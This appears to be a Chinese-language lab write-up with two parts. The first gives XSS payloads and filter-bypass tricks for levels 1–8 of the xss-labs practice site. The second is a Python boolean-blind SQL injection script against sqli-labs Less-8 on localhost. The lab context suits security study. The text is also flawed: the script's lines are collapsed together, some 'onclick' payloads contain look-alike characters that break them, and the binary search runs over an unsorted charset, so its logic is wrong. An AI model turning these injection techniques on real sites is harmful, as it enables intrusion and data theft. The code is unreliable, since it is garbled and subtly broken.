(一)xss-labs 1~8關
1、前期準備
(1)打開小皮面板,并啟動Apache和MySQL
(2)將 xss-labs放到 phpstudy_pro 的 WWW 目錄下
(3)訪問連接:http://localhost/xss-labs/
LEVEL1:
name=test可以在頁面中直接顯示,所以可以直接嘗試將其字段改寫為簡單的觸發腳本:
name=<script>alert(123)</script>
闖關成功
LEVEL2:
直接嘗試注入觸發腳本沒有成功,但是知道了注入之后會在哪輸出,所以需要在輸出的地方把多余的部分處理一下,確保觸發腳本的可執行性
"><script>alert(123)</script>//
用">將左邊多余的語句閉合,再用//把右邊多余的">注釋
闖關成功
LEVEL3:
第三關嘗試與上一關相同解法,發現使用"<>等符號無效使其無法閉合,查看原代碼
發現使用了htmlspecialchars函數,經過查詢發現此函數能將特殊字符轉換實體化,但是'并沒有被實體化。
對次我們可以使用onclick事件繞過。onclick 是 HTML 中常用的事件處理屬性,當元素被點擊時觸發。
'οnclick=‘alert(123)
用’ '將前面閉合
點擊“搜索后”再點擊搜索框即闖關成功
LEVEL4:
同上一關一樣,只是閉合方式有所區別:
"οnclick=‘alert(123)’
LEVEL5:
輸入payload發現進行了敏感詞注釋(在敏感詞的某個字母后面加入了_)
查看源代碼:
發現不讓我們用script和有on字母的方法
那我們可以使用a href(超鏈接)的方法進行嘗試
要想寫新的標簽需要閉合前面的標簽
然后點擊超鏈接“xxx”即可
LEVEL6:
同上一關,不讓用script和on
嘗試上一關過法,發現a href標簽無效
查看原代碼:
發現data和href標簽被禁用,但是大小寫沒有被禁用,可嘗試使用大寫繞過
闖關成功
LEVEL7:
這關直接把相關字母全部消除(比如script和on)
查看源代碼,發現敏感詞被替換成了" "
我們嘗試雙寫:
闖關成功
LEVEL8:
這一關將輸入框的內容傳到了a href標簽
我們可以嘗試JavaScript偽代碼:
javascript:alert(123)
輸入后發現有敏感詞處理,因為輸入的內容是在a href標簽中,所以我們可以嘗試將敏感詞編碼后再輸入,看看能不能繞過
使用編碼工具編碼后輸入并點擊友情鏈接:
javascript:alert(123)
闖關成功
(二)python實現自動化sql布爾育注代碼優化(二分查找)
1、代碼
import requests# 目標URL
url = "http://127.0.0.1/sqli/Less-8/index.php"# 要推斷的數據庫信息(例如:數據庫名)
database_name = ""# 字符集(可以根據需要擴展)
charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_-. "# 推斷數據庫名的長度
def get_database_length():length = 0while True:length += 1payload = f"1' AND (SELECT length(database()) = {length}) -- "response = requests.get(url, params={"id": payload})if "You are in..........." in response.text:return lengthif length > 50: # 防止無限循環breakreturn 0# 使用二分查找推斷數據庫名
def get_database_name(length):db_name = ""for i in range(1, length + 1):left, right = 0, len(charset) - 1while left <= right:mid = (left + right) // 2char = charset[mid]payload = f"1' AND (SELECT substring(database(), {i}, 1) >= '{char}') -- "response = requests.get(url, params={"id": payload})if "You are in" in response.text:left = mid + 1else:right = mid - 1db_name += charset[right]return db_name# 主函數
if __name__ == "__main__":length = get_database_length()if length > 0:print(f"Database length: {length}")db_name = get_database_name(length)print(f"Database name: {db_name}")else:print("Failed to determine database length.")
2、輸出結果
完成